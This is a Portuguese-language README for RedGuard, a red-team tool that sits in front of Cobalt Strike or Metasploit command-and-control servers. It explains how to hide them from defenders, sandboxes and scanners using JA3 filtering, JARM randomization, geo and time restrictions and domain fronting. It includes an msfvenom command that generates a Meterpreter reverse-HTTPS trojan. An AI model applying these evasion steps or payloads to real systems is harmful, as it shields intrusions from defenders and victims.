O que é RedGuard
RedGuard, uma ferramenta derivada baseada na tecnologia de controle de fluxo frontal de comando e controle (C2), tem um design mais leve, interação de tráfego eficiente e compatibilidade confiável com o desenvolvimento na linguagem de programação go. exercícios tornam-se progressivamente mais complexos, o RedGuard é projetado para fornecer uma melhor solução de ocultação de canal C2 para a equipe vermelha, que fornece o controle de fluxo para o canal C2, bloqueia o tráfego de análise maliciosa e conclui melhor toda a tarefa de ataque.
RedGuard é uma ferramenta de controle de fluxo frontal C2 que pode evitar detecção de Blue Team, AVS, EDR, Cyberspace Search Engine.
Quando o RedGuard é usado?
No exercício ofensivo e defensivo, os investigadores que tentam fazer a atribuição cibernética analisam o tráfego C2 conectado aos atacantes com a plataforma de consciência situacional
Evite a análise de amostras de malware identificando sandboxes de nuvem com base em bibliotecas de impressão digital JA3
Bloqueie solicitações maliciosas para executar ataques de repetição e obter ofuscação online
Restringir solicitações de acesso por lista branca no caso de o IP do servidor de conexão ser especificado
Impedir a varredura e identificação de instalações C2 pela tecnologia de mapeamento do ciberespaço e redirecionar ou interceptar o tráfego de sondas de varredura
Suporta controle de fluxo frontal para vários servidores C2 e pode realizar fronting de domínio, conexão de balanceamento de carga para obter efeito oculto
Capaz de executar restrição de conexão de host regional de acordo com a atribuição de endereço IP, solicitando interface API de pesquisa reversa de IP
Resolva recursos fortes de análise de caminho de regra de checksum8 em etapas sem alterar o código-fonte.
Analise o comportamento de rastreabilidade da equipe azul por meio de logs de interceptação de solicitações de destino, que podem ser usados para rastrear eventos/problemas de conexão de pares
Com a capacidade de personalizar o período de tempo para interação legal de amostras para realizar a função de conduzir apenas a interação de tráfego durante o período de trabalho
Analisador de perfil maleável C2 capaz de validar solicitações HTTP/S de entrada estritamente contra perfil maleável e descartar pacotes de saída em caso de violação (suporta perfis maleáveis 4.0+)
Lista negra integrada de endereços IPV4 para um grande número de dispositivos, honeypots e sandboxes de nuvem associados a fornecedores de segurança cibernética para interceptar automaticamente o tráfego de solicitação de redirecionamento
Informações de certificado SSL e URLs de redirecionamento que podem interagir com amostras por meio de ferramentas personalizadas para evitar a assinatura fixa do tráfego de ferramentas
0x01 Instalação
Você pode baixar e usar diretamente a versão compilada ou pode baixar o pacote go remotamente para compilação e execução independentes.
git clone https://github.com/wikiZ/RedGuard.git 2cd RedGuard # Você também pode usar upx para compactar o tamanho do arquivo compilado go build -ldflags -s -w -trimpath # Dê permissão executável à ferramenta e execute operações de inicialização chmod +x ./RedGuard&&./RedGuard
0x02 Descrição da Configuração
inicialização
Conforme mostrado na figura abaixo, defina permissões executáveis e inicialize o RedGuard. A primeira execução gerará um arquivo de configuração no diretório inicial do usuário atual para obter uma configuração de função flexível. Nome do arquivo de configuração: .RedGuard_CobaltStrike.ini .
Conteúdo do arquivo de configuração:
As opções de configuração de cert são principalmente para as informações de configuração de comunicação HTTPS criptografada por certificado SSL entre a amostra e a infraestrutura frontal C2. O proxy é usado principalmente para configurar as opções de controle no tráfego do proxy reverso. O uso específico será explicado em detalhes abaixo.
A comunicação HTTPS criptografada pelo certificado SSL será gerada no diretório cert-rsa/ sob o diretório onde o RedGuard é executado. Você pode iniciar e parar as funções básicas da ferramenta modificando o arquivo de configuração (o número de série do certificado é gerado de acordo com o timestamp, não se preocupe em estar associado a este recurso) . Se você deseja usar seu próprio certificado ,Basta renomeá-los para ca.crt e ca.key.
openssl x509 -in ca.crt -noout -text
As impressões digitais aleatórias do TLS JARM são atualizadas sempre que o RedGuard é iniciado para evitar que isso seja usado para autenticar a infraestrutura C2.
o caso de usar seu próprio certificado, modifique o parâmetro HasCert no arquivo de configuração para trueevitar problemas normais de comunicação causados pela incompatibilidade do conjunto de criptografia CipherSuites com o certificado customizado causado pela randomização de ofuscação JARM.
Se deve usar o certificado que você solicitou verdadeiro/falso HasCert = false
Parâmetros do RedGuard
root@VM-4-13-ubuntu:~# ./RedGuard -h Uso de ./RedGuard: -DropAction string RedGuard interception action (padrão redirect) -EdgeHost string Set Edge Host Communication Domain (padrão ") -EdgeTarget string Definir destino do proxy do host de borda (padrão " ") -HasCert string Se deve usar o certificado solicitado (padrão true) -allowIP string Solicitações de proxy Permitir IP (padrão " ) -allowLocation string Solicitações de proxy permitir localização (padrão " ) -allowTime string Proxy Requests Allow Time (padrão ") -common string Cert CommonName (padrão ".aliyun.com) -config string Set Config Path -country string Cert Country (padrão CN) -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (padrão :80) -https string Set Proxy HTTPS Port (padrão :443) -ip string IPLookUP IP -locality string Cert Locality (padrão HangZhou) -location string IPLookUP Location (padrão 风起) -malleable string Set Proxy Requests Filter Maleable File ( default *) -string de organização Cert Organization (padrão Alibaba (China) Technology Co., Ltd.) -string de redirecionamento URL de redirecionamento de proxy (padrão https://360.net ) -type string C2 Tipo de servidor ( padrão CobaltStrike) -u Habilita a modificação do arquivo de configuração
PS Você pode usar o comando de parâmetro para modificar o arquivo de configuração. Claro, acho que pode ser mais conveniente modificá-lo manualmente com o vim.
0x03 Uso da ferramenta
interceptação básica
Se você acessar diretamente a porta do proxy reverso, a regra de interceptação será acionada. Aqui você pode ver o diretório raiz da solicitação do cliente por meio do log de saída, mas como a solicitação não carrega as credenciais solicitadas que são o cabeçalho correto da solicitação HOST, a regra básica de interceptação é acionada e o tráfego é redirecionado para https: / /360.net
Aqui está apenas uma demonstração da saída, o uso real pode ser executado em segundo plano por meio de nohup ./RedGuard &.
{ 360.net : http://127.0.0.1:8080 , 360.com : https://127.0.0.1:4433 }
Não é difícil ver na fatia acima que 360.net é proxy para a porta local 8080, 360.com é proxy para a porta local 4433 e o protocolo HTTP usado também é diferente. No uso real, é necessário ficar atento ao tipo de protocolo do listener. Consistente com as configurações aqui e defina o cabeçalho de solicitação HOST correspondente.
Conforme mostrado na figura acima, no caso de acesso não autorizado, as informações de resposta que obtemos também são as informações de retorno do site redirecionado.
método de interceptação
No caso de interceptação básica acima, o método de interceptação padrão é usado, o tráfego ilegal é interceptado por redirecionamento. Ao modificar o arquivo de configuração, podemos alterar o método de interceptação e a URL do site redirecionado. Na verdade, em vez de chamar isso de redirecionamento, acho que seria mais apropriado descrevê-lo como sequestro, clonagem, pois o código de status da resposta retornado é 200 e a resposta é obtida de outro site para imitar o site clonado/sequestrado como o mais próximo possível.
Pacotes inválidos podem ser roteados incorretamente de acordo com três estratégias:
reset : Desconecte a conexão TCP imediatamente.
proxy : obtenha uma resposta de outro site para imitar o site clonado/seqüestrado o mais próximo possível.
redirecionamento : redireciona para o site especificado e retorna o código de status HTTP 302, não há requisitos para o site redirecionado.
Ação de interceptação do RedGuard: redirecionar / descansar / proxy (Hijack HTTP Response) drop_action = proxy # URL para redirecionar para Redirect = https://360.net
Redirect = URL no arquivo de configuração aponta para o endereço de URL sequestrado. O RedGuard suporta hot change, o que significa que, enquanto a ferramenta estiver sendo executada em segundo plano por meio do nohup, ainda podemos modificar o arquivo de configuração. O conteúdo é iniciado e interrompido em tempo real.
./RedGuard -u --drop true
Observe que ao modificar o arquivo de configuração através da linha de comando, a -uopção não deve faltar, caso contrário, o arquivo de configuração não pode ser modificado com sucesso. Se você precisar restaurar as configurações padrão do arquivo de configuração, basta digitar ./RedGuard -u.
Outro método de interceptação é o DROP, que fecha diretamente a resposta de comunicação HTTP e é ativado definindo DROP = true . O efeito de interceptação específico é o seguinte:
Pode-se ver que o controle de fluxo frontal C2 fecha diretamente a resposta a solicitações ilegais sem o código de resposta HTTP. Na detecção do mapeamento do ciberespaço, o método DROP pode ocultar a abertura de portas. O efeito específico pode ser visto no seguinte caso. analisar.
Tráfego de análise de sandbox de nuvem de reconhecimento de impressão digital JA3
Atualmente, o RedGuard oferece suporte à função de identificação de sandboxes de nuvem com base em impressões digitais JA3, que podem identificar e interceptar solicitações de rede iniciadas no ambiente de sandbox de nuvem para evitar análises de conectividade subsequentes, o que afeta ainda mais a segurança das instalações C2.
Atualmente, oferece suporte à identificação e interceptação da caixa de proteção em nuvem do Threatbook como uma demonstração de efeito
Modificação da porta proxy
A configuração dos dois parâmetros a seguir no arquivo de configuração realiza o efeito de alterar a porta do proxy reverso. É recomendável usar a ocultação de porta padrão, desde que não entre em conflito com a porta do servidor atual. Se deve ser modificado, preste atenção ao :valor do parâmetro para não faltar
Porta do proxy reverso HTTPS Port_HTTPS = :443 # Porta do proxy reverso HTTP Port_HTTP = :80
Registros do RedGuard
O comportamento de rastreamento da equipe azul é analisado por meio do log de interceptação da solicitação de destino, que pode ser usado para rastrear eventos/problemas de conexão de mesmo nível. O arquivo de log é gerado no diretório onde o RedGuard está sendo executado, nome do arquivo: RedGuard.log .
RedGuard Obtenha o endereço IP real
Esta seção descreve como configurar o RG para obter o endereço IP real de uma solicitação. Você só precisa adicionar a seguinte configuração ao perfil do dispositivo C2, o endereço IP real do destino é obtido através do cabeçalho de solicitação X-Forwarded-For.
http-config { set trust_x_forwarded_for true; }
Solicitar restrições geográficas
O método de configuração toma AllowLocation = Jinan, Beijingcomo exemplo. Observe que o RedGuard fornece duas APIs para atribuição reversa de IP, uma para usuários na China continental e outra para usuários fora da China continental, e pode atribuir dinamicamente qual API usar de acordo com o nome de domínio geográfico de entrada, se o destino for a China. use chinês para a região definida, caso contrário, use nomes de lugares em inglês. Recomenda-se que os usuários na China continental usem nomes chineses, para que a precisão da atribuição e a velocidade de resposta da API obtida por consulta reversa sejam as melhores escolhas.
PS Usuários da China Continental, não usem AllowLocation = Jinan,beijing por aqui! Não faz muito sentido, o primeiro caractere do valor do parâmetro determina qual API usar!
Exemplo de restrição de propriedade de endereço IP:AllowLocation = 山东,上海,杭州 or shanghai,beijing AllowLocation = *
Antes de decidir restringir a região, você pode consultar manualmente o endereço IP com o seguinte comando.
./RedGuard --ip 111.14.218.206 ./RedGuard --ip 111.14.218.206 --location shandong # Use API no exterior para consultar
Aqui definimos para permitir que apenas a região de Shandong fique online
Tráfego legal:
Área de solicitação ilegal
Quanto às conexões de restrições geográficas, pode ser mais prático no atual exercício ofensivo e defensivo. Basicamente, os alvos das restrições de exercícios ofensivos e defensivos provinciais e municipais estão em áreas designadas, e o tráfego solicitado por outras áreas pode ser naturalmente ignorado. Esta função do RedGuard pode não apenas limitar uma única região, mas também limitar várias regiões de conexão de acordo com as províncias e cidades e interceptar o tráfego solicitado por outras regiões.
Bloqueio com base na lista de permissões
Além da lista negra de IP integrada de fornecedores de segurança cibernética no RedGuard, também podemos restringir de acordo com o método de lista branca. Na verdade, também sugiro que, durante a penetração na web, possamos restringir os endereços IP online de acordo com a lista de permissões para dividir vários endereços IP.
Exemplo de lista de permissões: AllowIP = 172.16.1.1,192.168.1.1 AllowIP = 127.0.0.1
Conforme mostrado na figura acima, nos restringimos a permitir apenas conexões 127.0.0.1, então o tráfego de requisição de outros IPs será bloqueado.
Bloquear com base no período de tempo
Esta função é mais interessante. Definir os seguintes valores de parâmetro no arquivo de configuração significa que o recurso de controle de tráfego só pode se conectar das 8:00 às 21:00. O cenário de aplicação específico aqui é que, durante o tempo de ataque especificado, permitimos a comunicação com C2 e permanecemos silenciosos em outros momentos. Isso também permite que os times vermelhos tenham uma boa noite de sono sem se preocupar com algum time azul de plantão noturno ficar entediado para analisar seu Trojan e depois acordar com algo indescritível, hahaha.
Exemplo de limite de tempo de solicitações: AllowTime = 8:00 - 16:00 AllowTime = 8:00 - 21:00
Perfil Maleável
RedGuard usa o perfil Maleável C2. Ele analisa a seção do arquivo de configuração extensível fornecido para entender o contrato e passar apenas as solicitações de entrada que o satisfazem, enquanto engana outras solicitações. Partes como http-stager, http-gete http-postseus correspondentes uris, cabeçalhos, User-Agent, etc. são usados para distinguir solicitações legais de beacon de ruído irrelevante da Internet ou pacote IR/AV/EDR fora dos limites.
Caminho do arquivo maleável C2 MalleableFile = /root/cobaltstrike/Malleable.profile
O perfil escrito por 风起 é recomendado para usar:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
0x04 Análise de Caso
Mapeamento de Pesquisa no Ciberespaço
Conforme mostrado na figura abaixo, quando nossa regra de interceptação é definida como DROP, a sonda do sistema de mapeamento espacial sondará o diretório / de nossa porta de proxy reverso várias vezes. Em teoria, o pacote de solicitação enviado pelo mapeamento é falsificado como tráfego normal, conforme mostrado. Mas depois de várias tentativas, porque a assinatura do pacote de solicitação não atende aos requisitos de liberação do RedGuard, todas são respondidas por Close HTTP. O efeito final exibido na plataforma de levantamento e mapeamento é que a porta do proxy reverso não está aberta.
O tráfego mostrado na figura abaixo significa que, quando a regra de interceptação for definida como Redirect, descobriremos que, quando o probe de mapeamento receber uma resposta, ele continuará verificando nosso diretório. O User-Agent é aleatório, o que parece estar de acordo com as solicitações de tráfego normais, mas ambos foram bloqueados com sucesso
Plataforma de mapeamento - Efeito do modo de interceptação de resposta de hijack:
https://github.com/wikiZ/RedGuardImage/ … 188878.png
https://github.com/wikiZ/RedGuardImage/ … 188878.png
Plataforma de levantamento e mapeamento - efeito da interceptação de redirecionamento:
https://github.com/wikiZ/RedGuardImage/ … 644535.jpg
Frente de domínio
O RedGuard oferece suporte à fachada de domínio. Na minha opinião, existem duas formas de apresentação. Uma delas é usar o método tradicional de fronting de domínio, que pode ser obtido definindo a porta de nosso proxy reverso no endereço de volta à origem de aceleração em todo o site. Na base original, a função de controle de tráfego é adicionada à fachada do domínio e pode ser redirecionada para o URL especificado de acordo com a configuração que definimos para torná-la mais real. Deve-se observar que a configuração RedGuard do cabeçalho HTTPS HOST deve ser consistente com o nome de domínio da aceleração em todo o site.
https://github.com/wikiZ/RedGuardImage/ … d998-1.png
Em combate individual, sugiro que o método acima possa ser usado e, em tarefas de equipe, também pode ser alcançado por "fronting de domínio" autoconstruído.
https://github.com/wikiZ/RedGuardImage/ … d999-1.png
No domínio autoconstruído, mantenha várias portas de proxy reverso consistentes e o cabeçalho HOST aponta consistentemente para a porta de escuta do servidor C2 real do back-end. Dessa forma, nosso servidor C2 real pode ficar bem oculto e o servidor do proxy reverso só pode abrir a porta do proxy configurando o firewall.
https://github.com/wikiZ/RedGuardImage/ … 773114.jpg
Isso pode ser obtido por meio de vários servidores de nó e configurar vários IPs de nossos nós no IP online HTTPS do ouvinte CS.
nó de borda
O RedGuard 22.08.03 atualizou as configurações de conexão do host de borda - nome de domínio de interação do host de intranet personalizado e o host de borda usa a interação do nó CDN frontal do domínio. Isso torna a assimetria de informações entre os dois hosts, dificultando o rastreamento da origem e dificultando a solução de problemas.
https://github.com/wikiZ/RedGuardImage/ … 34a436.png
CobaltStrike
Se houver um problema com o método acima, o servidor C2 online real não pode ser interceptado diretamente pelo firewall, porque a solicitação de balanceamento de carga real no proxy reverso é feita pelo IP do fabricante do servidor em nuvem.
No combate individual, podemos definir regras de interceptação no firewall do servidor em nuvem.
https://github.com/wikiZ/RedGuardImage/ … d99d-1.png
Em seguida, defina o endereço apontado pelo proxy para https://127.0.0.1:4433 .
{ 360.net : http://127.0.0.1:8080 , 360.com : https://127.0.0.1:4433 }
E como nossa verificação básica é baseada no cabeçalho de solicitação HTTP HOST, o que vemos no tráfego HTTP também é o mesmo que o método de fronting de domínio, mas o custo é menor e apenas um servidor em nuvem é necessário.
https://github.com/wikiZ/RedGuardImage/ … d99e-1.png
Para as configurações do ouvinte, HTTPS Port (C2)é definido como a porta do proxy reverso do RedGuard e HTTPS Port (Bind)é a porta de conexão real da máquina local.
Metasploit
Gera cavalo de Tróia
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com -f exe -o ~/path/to/payload.exe
Obviamente, como um cenário de fronting de domínio, você também pode configurar seu LHOST para usar qualquer nome de domínio do CDN do fabricante e prestar atenção à configuração do HttpHostHeader para corresponder ao RedGuard.
setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
É importante observar que a OverrideRequestHostconfiguração deve ser definida como true. Isso se deve a um recurso no modo como o Metasploit lida com solicitações HTTP/S recebidas por padrão ao gerar configuração para cargas úteis de preparação. Por padrão, o Metasploit usa o Hostvalor do cabeçalho da solicitação de entrada (se presente) para configuração de segundo estágio em vez do LHOSTparâmetro. Portanto, o estágio de compilação é configurado para enviar solicitações diretamente para seu nome de domínio oculto porque o CloudFront transmite seu domínio interno no Hostcabeçalho das solicitações encaminhadas. Isso claramente não é o que estamos pedindo. Usando o OverrideRequestHostvalor de configuração, podemos forçar o Metasploit a ignorar o Hostcabeçalho de entrada e, em vez disso, usar o LHOSTvalor de configuração apontando para o domínio CloudFront de origem.
O ouvinte é definido para a porta de linha real que corresponde ao endereço para o qual o RedGuard realmente encaminha.
https://github.com/wikiZ/RedGuardImage/ … 7736c1.png
RedGuard recebeu a solicitação:
https://github.com/wikiZ/RedGuardImage/ … 8020b1.png
0x05 Carregando
Obrigado pelo seu apoio. O RedGuard continuará a melhorá-lo e atualizá-lo. Espero que o RedGuard possa ser conhecido por mais profissionais de segurança. A ferramenta refere-se às ideias de design de RedWarden.
Congratulamo-nos com todos para apresentar suas necessidades, RedGuard continuará a crescer e melhorar nessas necessidades!
Sobre o desenvolvedor 风起 artigos relacionados: https://www.anquanke.com/member.html?memberId=148652
2022Kcon Autor do espectro de armas da conferência hacker
A 10ª ISC Internet Security Conference Advanced Ofensive and Defensive Forum C2 Front Flow Control tópico
https://isc.n.cn/m/pages/live/index?cha … tab_id=253
Análise da tecnologia de identificação de fluxo de sandbox em nuvem
https://www.anquanke.com/post/id/277431
Realização da Tecnologia de Randomização de Impressões Digitais JARM
https://www.anquanke.com/post/id/276546
Kunyu: https://github.com/knownsec/Kunyu
风起于青萍之末,浪成于微澜之间。
Comunidade 0x06
Se você tiver dúvidas ou requisitos, pode enviar um problema no projeto ou entrar em contato com o desenvolvedor adicionando o WeChat.